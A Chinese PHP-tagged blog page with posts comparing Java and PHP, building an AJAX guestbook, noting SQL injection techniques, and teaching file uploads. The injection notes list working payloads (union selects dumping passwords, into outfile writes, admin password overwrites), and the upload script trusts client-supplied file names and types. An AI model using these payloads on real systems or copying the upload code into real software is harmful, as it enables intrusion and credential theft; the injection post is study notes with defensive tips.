阳光男孩

Never give up!

Entries Tagged ‘PHP’

Java和PHP在Web开发方面的比较

1顶一下比较PHP和JSP这两个Web开发技术,在目前的情况是其实是比较PHP和Java的Web开发。以下是我就几个主要方面进行的比较: 一、 语言比较 PHP是解释执行的服务器脚本语言,首先php有简单容易上手的特点。语法和c语言比较象,所以学过c语言的程序员可以很快的熟悉php的开发。而java需要先学好java的语法和熟悉一些核心的类库,懂得面向对象的程序设计方法。所以java不如php好学。 Java首先要编译...[阅读全文]

1
顶一下

比较PHP和JSP这两个Web开发技术,在目前的情况是其实是比较PHP和Java的Web开发。以下是我就几个主要方面进行的比较:

一、 语言比较

PHP是解释执行的服务器脚本语言,首先php有简单容易上手的特点。语法和c语言比较象,所以学过c语言的程序员可以很快的熟悉php的开发。而java需要先学好java的语法和熟悉一些核心的类库,懂得面向对象的程序设计方法。所以java不如php好学。
Java首先要编译成字节码.class文件,然后在java虚拟机上解释执行。Java的Web开发首先最容易想到的就是JSP(现在已经到 JSP2.0),原来的java的Web开发都是用servlet来实现的,用servlet来开发需要程序员在java的源文件中嵌入大量的html代码。所以后来就出现了JSP,JSP可以方便的嵌入到html文件当中,其实jsp文件在服务器上执行的时候首先会被应用服务器转换成servlet,然后再编译执行。Jsp可以通过servlet和JavaBean的支持产生强大的功能。JavaBean 是一种可复用的、跨平台的软件组件。使用javabean可以方便的实现java代码和html的分离,能够增强系统的功能和软件的复用性。
Java的Web开发属于SUN公司定义的J2EE其中的规范。而且在J2EE中包括了java的Web开发的所有方面,如:JSP、Servlet、JDBC、JNDI、JAVABEAN、EJB等等。J2EE就特别适合于做大型的企业级的应用。

二、 数据库访问比较

Java通过JDBC来访问数据库,通过不同的数据库厂商提供的数据库驱动方便地访问数据库。访问数据库的接口比较统一。
PHP对于不同的数据库采用不同的数据库访问接口,所以数据库访问代码的通用性不强。例如:用Java开发的Web应用从MySQL数据库转到Oracle数据库只需要做很少的修改。而PHP则需要做大量的修改工作。

三、 系统设计架构比较

采用Java的Web开发技术,需要使用的是面向对象的系统设计方法,而PHP还是采用面向过程的开发方法。所以用Java进行开发前期需要做大量的系统分析和设计的工作。

四、 跨平台性

Java和PHP都有很好的跨平台的特性。几乎都可以在不作任何修改的情况下运行在Linux或者Windows等不同的操作系统上。

五、 开发成本比较

PHP最经典的组合就是:PHP + MySQL + Apache。非常适合开发中小型的Web应用,开发的速度比较快。而且所有的软件都是开源免费的,可以减少投入。
Java的Web应用服务器有免费Tomcat、JBoss等,如果需要更好的商业化的服务有:Web Sphere和 Web logic。

六、 分布式多层架构比较

PHP只能实现简单的分布式两层或三层的架构,而JAVA在这方面就比较强大,可以实现多层的网络架构。数据库层(持久化层)、应用(业务)逻辑层、表示逻辑层彼此分开,而且现在不同的层都已经有一些成熟的开发框架的支持。例如Struts就是利用java的Web开发技术实现了MVC的设计模式,而在业务逻辑层也有Spring框架,数据库持久化层有Hibernate等框架。这些框架可以方便开发者高效、合理、科学得架构多层的商业应用。

下面简要的说一下Struts,它实质上是在JSP Model2的基础上实现的一个MVC(Model、View、Controler)框架。JSP Model2体系结构是一种联合使用JSP 与Servlet 来提供动态内容的方法。在Struts框架中,模型由实现业务逻辑的JavaBean或EJB组件构成,控制器由Servlet实现的,视图由一组JSP 文件组成。采用Struts可以明确角色的定义和开发者与网页设计者的分工。而且项目越复杂,其优势越明显。

七、 源代码安全

PHP开发的程序的源代码都是公开的,他人拿到php开发的程序后都可以进行修改。
Java开发的程序,最后用户拿到的是只是一些编译好的class类,无法看到完整的源代码,安全性高。

八、性能比较

有人做过试验,对这两种种语言分别做回圈性能测试及存取Oracle数据库测试。
在循环性能测试中,JSP只用了令人吃惊的四秒钟就结束了20000*20000的回圈。而PHP测试的是2000*2000循环(少一个数量级),却分别用了63秒。
数据库测试中,二者分别对 Oracle 8 进行 1000 次 Insert,Update,Select和Delete: JSP 需要 13 秒,PHP 需要 69 秒。

项目

PHP

JAVA

可复用性

开发速度

易维护性

可移植性

优- Linux

Windows 、 Unix

安全性

开发费用

多层架构

数据库访问

接口不统一

接口统一

可扩展性

面向对象

综上所述,我个人认为,PHP适合于快速开发,中小型应用系统,开发成本低,能够对变动的需求作出快速的反应。而Java适合于开发大型的应用系统,应用的前景比较广阔,系统易维护、可复用性较好。还有,同样功能的系统用Java开发的系统要比PHP开发的系统的价格要高。

Comments (1)

jquery+ajax+xml+php简单留言板

0顶一下话不多说,如果哦看不动的去论坛上发帖 <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”> <html xmlns=”http://www.w3.org/1999/xhtml”> <head> <title>无刷jquery php xml 留言板版</title> <meta. http-equiv=”Content-Type” content=”text/html; charset=utf-...[阅读全文]

0
顶一下

话不多说,如果哦看不动的去论坛上发帖

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<title>无刷jquery php xml 留言板版</title>
<meta. http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<style>
* { margin:0; padding:0}
ul {list-style.:none}
#msglist{width:800px; vertical-align:text-top; margin:20px auto 0px auto; }

dt{background:url(wtp-m.png);padding:5px}
dl{border:solid 1px #8db2e3}
dd{padding:5px}
#page span{cursor: pointer;}
#commentformbox{width:800px;vertical-align:text-top;margin:20px auto 0px auto; }
#commentformbox TEXTAREA{width:400px;height:100px;vertical-align:text-top;margin:20px auto 0px auto; }
</style>
<SCRIPT. LANGUAGE=”JavaScript” src=”js/jquery-1.2.6.js”></script>
<SCRIPT. LANGUAGE=”JavaScript”>
<!–
$(document).ready(function() {

function load_msg(page)
{
$(‘#state’).html(“当前状态:正在加载数据请稍等….”);
page=$(this).html();
page=page==”undefined”?1:page;

$.post(“comments-ajax.php”,{action:”load”,page:page},function(data){
//alert($(data).find(“span”).text());

$(‘#commentlist dl’).html(data); // 追加留言数据
$(‘#commentlist dl’).find(“span”).bind(“click”,load_msg);
$(‘#state’).html(“当前状态:数据加载完毕”);
})

}

load_msg();
if ($(‘#commentform’).length) {
$(‘#commentform’).submit(function(){
jQuery.ajax({
url: ‘comments-ajax.php’, // 这里要改为 comments-ajax.php 文件的位置
data: $(‘#commentform’).serialize(), // 从表单中获取数据
type: ‘POST’, // 设置请求类型为 ‘POST’,默认为 ‘GET’
beforeSend: function() {
$(‘#state’).html(“当前状态:正在发送数据。。。。”);
},
error: function(request) {
$(‘#state’).html(request.responseText);
},
success: function(data) {
$(‘textarea’).each(function(){
this.value=”;
});

$(‘#state’).html(“当前状态:发布数据成功”);
$(‘#commentlist dl’).prepend(data); // 追加留言数据
$(‘#commentform.:input’).attr(‘disabled’, true);
$(‘#commentformbox’).fadeOut(1000);
$(‘#commentload’).hide();
setTimeout(function() { // 提交留言 15 秒后方可再次提交新留言
$(‘#commentform.:input’).removeAttr(‘disabled’);
$(‘#commentformbox’).fadeIn(15000);
}, 5000);
}
});
return false;
});
}
})

//–>
</SCRIPT>
<body>
<div ID=”state”>当前状态</div>
<div ID=”msglist”>
<div id=”commentlist”>
<dl>

</dl>
</div>
</div>

<div id=commentformbox>
<FORM. METHOD=POST ACTION=”" ID=”commentform”>
<TEXTAREA NAME=”Content” ROWS=”" COLS=”"></TEXTAREA><br><INPUT TYPE=”submit” value=”发布信息”>
</FORM>
</div>
</body>

comments-ajax.php

<?php
//==========================================
// 文件名: comments-ajax.php
// 说   明: 简单的jquery php XML 留言簿
// power by cnjquery.com
//==========================================
if ($_SERVER["REQUEST_METHOD"] != “POST”) {
header(‘Allow: POST’);
header(“HTTP/1.1 405 Method Not Allowed”);
header(“Content-type: text/plain”);
exit;
}

class guestbook extends DOMDocument
{
var $pagenum=10;

public function __construct()
{
parent:: __construct();
if (!file_exists(“guestbook.xml”))
{
$xmlstr = “<?xml version=’1.0′?><msglist></msglist>”;
$this->loadXML($xmlstr);
$this->save(“guestbook.xml”);
}
else
$this->load(“guestbook.xml”);
}
public function loadMessage($page)
{
$page=($page>0)?$page:1;
$num=($page-1)*$this->pagenum;
$roots = $this->getElementsByTagName( “msglist” );
//print_r($roots);
$root=$roots->item(0);
$msg=$root->getElementsByTagName( “msg” );
$total=$msg->length;
// echo $total;
$totalpage=ceil($total/$this->pagenum);
$totalpage=$totalpage?$totalpage:1;
$startid=$total<$num?$total:$total-$num;
$listnum=$startid>$this->pagenum?$startid-$this->pagenum:0;
//echo $startid;
//echo $listnum;
for($i=$startid-1;$i>=$listnum;$i–)
{

echo “<dt> &nbsp;&nbsp;ip:”.$msg->item($i)->getElementsByTagName(“ip”)->item(0)->nodeValue.”&nbsp;&nbsp;time:”.$msg->item($i)->getElementsByTagName(“time”)->item(0)->nodeValue.”</dt><dd>”.trim(nl2br($msg->item($i)->getElementsByTagName(“content”)->item(0)->nodeValue)).”</dd>”;
}
echo “<dt ID=page>”;
for($i=1;$i<=$totalpage;$i++)
{
echo “&nbsp;&nbsp;<span>”.$i.”</span>”;
}
echo “</dt>”;

}
public function saveMessage($clientIP,$clientTime,$postContent)
{
$msglists = $this->getElementsByTagName( “msglist” );
$msglist = $msglists->item(0);
$msg = $this->createElement( “msg” );
$ip = $this->createElement( “ip” );
$ip->appendChild( $this->createTextNode($clientIP)  );
$msg->appendChild($ip);
$time=$this->createElement( “time” );
$time->appendChild( $this->createTextNode($clientTime)  );
$msg->appendChild($time);
$content=$this->createElement( “content” );
$content->appendChild( $this->createCDATASection(nl2br(SafeHtml($_POST["Content"])))  );
$msg->appendChild($content);
$msglist->insertBefore ($msg);
$this->save(“guestbook.xml”);
echo “<dt> &nbsp;&nbsp;ip:”.$clientIP.”&nbsp;&nbsp;time:”.$clientTime.”</dt><dd>”.$postContent.”</dd>”;
}
}
$guestbook = new guestbook;
if($_POST["action"]==”load”)
{
$guestbook->loadMessage(intval($_POST["page"]));
exit;
}
$IP=$_SERVER["SERVER_ADDR"];
$time=date(“Y-m-d H:i:s”);
$content=nl2br(SafeHtml($_POST["Content"]));
$guestbook->saveMessage($IP,$time,$content);
exit;

//http://hellobmw.com/archives/ajax-comments-with-jquery-for-wordpress.html
Function SafeHtml($msg = “”,$clear_script=true)
{
if(empty($msg))
{
return false;
}
$msg = str_replace(‘&amp;’,'&’,$msg);
$msg = str_replace(‘&nbsp;’,’ ‘,$msg);
if(get_magic_quotes_gpc())
{
$msg = str_replace(“\’”,”&#39;”,$msg);
$msg = str_replace(‘\”‘,”&quot;”,$msg);
}
else
{
$msg = str_replace(“‘”,”&#39;”,$msg);
$msg = str_replace(‘”‘,”&quot;”,$msg);
}
$msg = str_replace(“<”,”&lt;”,$msg);
$msg = str_replace(“>”,”&gt;”,$msg);
$msg = str_replace(“\t”,”&nbsp; &nbsp; “,$msg);
$msg = str_replace(“\r”,”",$msg);
$msg = str_replace(“   “,”&nbsp; &nbsp;”,$msg);
if($clear_script)
{
$msg = preg_replace(“/<script(.*?)<\/script>/is”,”",$msg);
$msg = preg_replace(“/<frame(.*?)>/is”,”",$msg);
$msg = preg_replace(“/<iframe(.*?)>/is”,”",$msg);
$msg = preg_replace(“/<\/fram(.*?)>/is”,”",$msg);
}
return $msg;
}

?>

 

Comments (10)

浅谈PHP的SQL语法注入

1顶一下SQL注入的重点就是构造SQL语句,只有灵活的运用SQL 语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了 解SQL的基本原理。笔记中的代码来自网络。 ===基础部分=== 本表查询: http://127.0.0.1/injection/user.php?username=angel’ and LENGTH(password)=’6 http://127.0.0.1/injection/user.php?username=angel’ and LEFT(...[阅读全文]

1
顶一下

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel’ and LENGTH(password)=’6
http://127.0.0.1/injection/user.php?username=angel’ and LEFT(password,1)=’m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1′ union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=’ union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel’ into outfile ‘c:/file.txt
http://127.0.0.1/injection/user.php?username=’ or 1=1 into outfile ‘c:/file.txt
http://127.0.0.1/injection/show.php?id=’ union select 1,username,password from user into outfile ‘c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ‘$username’, ‘$password’, ‘$homepage’, ’1′);
构造homepage值为:http://4ngel.net’, ’3’)#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ‘angel’, ‘mypass’, ‘http://4ngel.net’, ’3’)#’, ’1′);

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=’$id’
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net’, userlevel=’3
之后SQL语句变为
UPDATE user SET password=’mypass’, homepage=’http://4ngel.net’, userlevel=’3′ WHERE id=’$id’
userlevel为用户级别
2:修改password值为
mypass)’ WHERE username=’admin’#
之后SQL语句变为
UPDATE user SET password=’MD5(mypass)’ WHERE username=’admin’#)’, homepage=’$homepage’ WHERE id=’$id’
3:修改id值为
‘ OR username=’admin’
之后SQL语句变为
UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=” OR username=’admin’

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace(“_”,”\_”,$keywords);
$keywords = str_replace(“%”,”\%”,$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//….
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace(“_”,”\_”,$keywords);
$keywords = str_replace(“%”,”\%”,$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

Comments (9)

PHP 文件上传

1顶一下 通过 PHP,可以把文件上传到服务器。 创建一个文件上传表单 允许用户从表单上传文件是非常有用的。 请看下面这个供上传文件的 HTML 表单: <html> <body> <form action="upload_file.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <inp...[阅读全文]

1
顶一下

通过 PHP,可以把文件上传到服务器。

创建一个文件上传表单
允许用户从表单上传文件是非常有用的。

请看下面这个供上传文件的 HTML 表单:
<html>
<body>

<form action=”upload_file.php” method=”post”
enctype=”multipart/form-data”>
<label for=”file”>Filename:</label>
<input type=”file” name=”file” id=”file” />
<br />
<input type=”submit” name=”submit” value=”Submit” />
</form>

</body>
</html>
请留意如下有关此表单的信息:

<form> 标签的 enctype 属性规定了在提交表单时要使用哪种内容类型。在表单需要二进制数据时,比如文件内容,请使用 “multipart/form-data”。

<input> 标签的 type=”file” 属性规定了应该把输入作为文件来处理。举例来说,当在浏览器中预览时,会看到输入框旁边有一个浏览按钮。

注释:允许用户上传文件是一个巨大的安全风险。请仅仅允许可信的用户执行文件上传操作。

创建上传脚本
“upload_file.php” 文件含有供上传文件的代码:
<?php
if ($_FILES["file"]["error"] > 0)
{
echo “Error: ” . $_FILES["file"]["error"] . “<br />”;
}
else
{
echo “Upload: ” . $_FILES["file"]["name"] . “<br />”;
echo “Type: ” . $_FILES["file"]["type"] . “<br />”;
echo “Size: ” . ($_FILES["file"]["size"] / 1024) . ” Kb<br />”;
echo “Stored in: ” . $_FILES["file"]["tmp_name"];
}
?>
通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。

第一个参数是表单的 input name,第二个下标可以是 “name”, “type”, “size”, “tmp_name” 或 “error”。就像这样:

$_FILES["file"]["name"] – 被上传文件的名称
$_FILES["file"]["type"] – 被上传文件的类型
$_FILES["file"]["size"] – 被上传文件的大小,以字节计
$_FILES["file"]["tmp_name"] – 存储在服务器的文件的临时副本的名称
$_FILES["file"]["error"] – 由文件上传导致的错误代码

这是一种非常简单文件上传方式。基于安全方面的考虑,您应当增加有关什么用户有权上传文件的限制。

上传限制
在这个脚本中,我们增加了对文件上传的限制。用户只能上传 .gif 或 .jpeg 文件,文件大小必须小于 20 kb:
<?php

if ((($_FILES["file"]["type"] == “image/gif”)
|| ($_FILES["file"]["type"] == “image/jpeg”)
|| ($_FILES["file"]["type"] == “image/pjpeg”))
&& ($_FILES["file"]["size"] < 20000))
{
if ($_FILES["file"]["error"] > 0)
{
echo “Error: ” . $_FILES["file"]["error"] . “<br />”;
}
else
{
echo “Upload: ” . $_FILES["file"]["name"] . “<br />”;
echo “Type: ” . $_FILES["file"]["type"] . “<br />”;
echo “Size: ” . ($_FILES["file"]["size"] / 1024) . ” Kb<br />”;
echo “Stored in: ” . $_FILES["file"]["tmp_name"];
}
}
else
{
echo “Invalid file”;
}

?>
注释:对于 IE,识别 jpg 文件的类型必须是 pjpeg,对于 FireFox,必须是 jpeg。

保存被上传的文件
上面的例子在服务器的 PHP 临时文件夹创建了一个被上传文件的临时副本。

这个临时的复制文件会在脚本结束时消失。要保存被上传的文件,我们需要把它拷贝到另外的位置:
<?php
if ((($_FILES["file"]["type"] == “image/gif”)
|| ($_FILES["file"]["type"] == “image/jpeg”)
|| ($_FILES["file"]["type"] == “image/pjpeg”))
&& ($_FILES["file"]["size"] < 20000))
{
if ($_FILES["file"]["error"] > 0)
{
echo “Return Code: ” . $_FILES["file"]["error"] . “<br />”;
}
else
{
echo “Upload: ” . $_FILES["file"]["name"] . “<br />”;
echo “Type: ” . $_FILES["file"]["type"] . “<br />”;
echo “Size: ” . ($_FILES["file"]["size"] / 1024) . ” Kb<br />”;
echo “Temp file: ” . $_FILES["file"]["tmp_name"] . “<br />”;

if (file_exists(“upload/” . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . ” already exists. “;
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
“upload/” . $_FILES["file"]["name"]);
echo “Stored in: ” . “upload/” . $_FILES["file"]["name"];
}
}
}
else
{
echo “Invalid file”;
}
?>
上面的脚本检测了是否已存在此文件,如果不存在,则把文件拷贝到指定的文件夹。

注释:这个例子把文件保存到了名为 “upload” 的新文件夹。

Comments (49)